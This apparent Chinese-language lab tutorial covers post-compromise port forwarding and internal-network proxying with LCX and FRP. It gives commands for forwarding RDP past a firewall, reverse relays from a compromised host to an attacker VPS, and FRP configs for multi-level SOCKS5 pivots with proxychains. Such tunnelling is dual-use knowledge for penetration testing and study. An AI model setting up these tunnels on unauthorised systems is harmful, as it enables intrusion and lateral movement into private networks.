端口转发与内网代理

端口转发和代理

在拿到一个外网主机的权限之后,是无法访问内网资源的

此时就可以使用端口转发和代理技术,来进行访问内网资源

正、反向连接

正向连接

1
用跳板机主动去连接目标主机

反向连接

1
让目标机来连接跳板机器

内网中多数用到的是反向连接

正向连接容易被目标机器的防火墙拦截,反向连接就不用考虑这种情况

端口转发

端口转发

1
把一个端口上收到的数据,转发给另外一个端口

内网中的防火墙和入侵检测设备,会对一些敏感端口进行检测,发现异样就会强制断开通信

利用端口转发技术,可以把端口的资源转发到未被检测的端口

端口映射

1
将外网主机收到的请求映射到内网主机上,使内网主机可以对外提供服务

SOCKS代理

socks是一种代理协议

在1080端口

有socks4和socks5两个版本

socks4

1
只支持TCP

socks5

1
socks4协议的升级版本,支持TCP和UDP,还有各种身份验证机制的协议

常见转发与代理工具

LCX

古老的端口转发和端口映射工具

但是不能过杀软+-

目标机有公网IP

BA8CB706F441202601D65FC20014C6F8

目标机器有公网ip,可以访问

防火墙对3389端口进行了限制

转发到1111端口,需要在目标机器上执行,有些鸡肋

1
lcx.exe -tran 1111 127.0.0.1 3389

image-20230204210911755

然后远程桌面连接

1
rdesktop 192.168.232.136:1111

这样就突破了防火墙对3389端口的限制

端口映射

19630FEDDF5CE8489293FA0DD3E23236

基本模型如图

1
2
3
4
5
可控的攻击机kali

公网可以访问的机器win10

内网机器win7

如果现在攻陷了win10,要访问win7,直接访问是不可能的

现在就需要做一个事情叫端口映射

1
需要将win7的端口(比如1111)映射到win10的端口(比如2222

需要在win10上执行如下命令

1
2
#将win7的1111端口映射到win10的2222端口
lcx.exe -tran 2222 11.11.11.11 1111

连接win10的2222端口,即可访问到win7,前提是拿到win10的ssh凭据

1
2
#ssh远程连接
ssh root@10.10.10.9 -p 2222

目标机器无公网IP

239A4609017AADF848A8289F083E543E

模型如上

一台不在公网的主机win10,已经被我们攻陷了,现在想要远程桌面连接它

但是不在公网,我们访问不到

这时就需要我们的VPS

首先监听VPS的1111端口,将2222端口的信息发给1111端口

1
./lcx -listen 1111 2222

然后在win10主机上执行命令,让win10主机的3389端口转发到VPS的2222端口

1
lcx.exe -slave x.x.x.x 2222 127.0.0.1 3389

最后连接VPS的1111端口即可访问win10的远程桌面

1
rdesktop x.x.x.x:1111

FRP

FRP反向代理

分为服务端和客户端

支持TCP、UDP、HTTP、HTTPS等协议

支持搭建SOCKS5代理

支持windows系统和linux系统

模型

D84E5D6982751303D7DC0BD1F33499E8

一级网络代理

前提是获得了win2008的控制器

即kali与win2008的连接代理

VPS作为FRP的服务端

1
2
#启动服务端
./frps -c ./frps.ini

VPS服务端配置

1
2
3
[common]
bind_addr = 0.0.0.0 #服务端绑定的ip地址
bind_port = 7000 #服务端绑定的端口

win2008作为客户端

1
2
#启动客户端
.\frpc.exe -c .\frpc.ini

客户端配置

1
2
3
4
5
6
7
[common]
server_addr = x.x.x.x #服务端地址
server_port = 7000 #服务端的端口

[socks5]
remote_port = 1080 #代理使用的端口,会转发到服务端
plugin = socks5 #代理类型

这就成功搭建了VPS与win2008的一个socks5代理

在kali上使用这个代理

使用proxychains

配置文件地址

1
/etc/proxychains4.conf

在配置文件最后一行加上

1
socks5 x.x.x.x 1080

image-20230204231303622

在命令之前加上proxychains,就可以使用代理

二级网络代理

当我们拿到win2012的权限之后,发现还存在192.168.10.0/24这个网段

需要搭建一个隧道才能访问,工作区

首先还是vps启动服务端

1
2
#启动服务端
./frps -c ./frps.ini

vps服务端配置

1
2
3
[common]
bind_addr = 0.0.0.0 #服务端绑定的ip地址
bind_port = 7000 #服务端绑定的端口

在win2008执行客户端

1
2
#启动客户端
.\frpc.exe -c .\frpc.ini

win2008客户端配置

1
2
3
4
5
6
7
8
9
[common]
server_addr = x.x.x.x #服务端地址
server_port = 7000 #服务端的端口

[socks5_foward]
type = tcp
local_ip = 10.10.10.10
local_port = 1111
remote_port = 1080 #代理使用的端口,会转发到服务端

在win2008作为服务端

1
.\frps.exe -c .\frps.ini

服务端配置

1
2
3
[common]
bind_addr = 10.10.10.10 #服务端绑定的ip地址
bind_port = 7000 #服务端绑定的端口

在win2012上执行客户端

1
.\frpc.exe -c .\frpc.ini

客户端配置

1
2
3
4
5
6
7
8
[common]
server_addr = 10.10.10.10 #服务端地址
server_port = 7000 #服务端的端口

[socks5]
type = tcp
remote_port = 1111
plugin = socks5

三级网络代理

同上

查看评论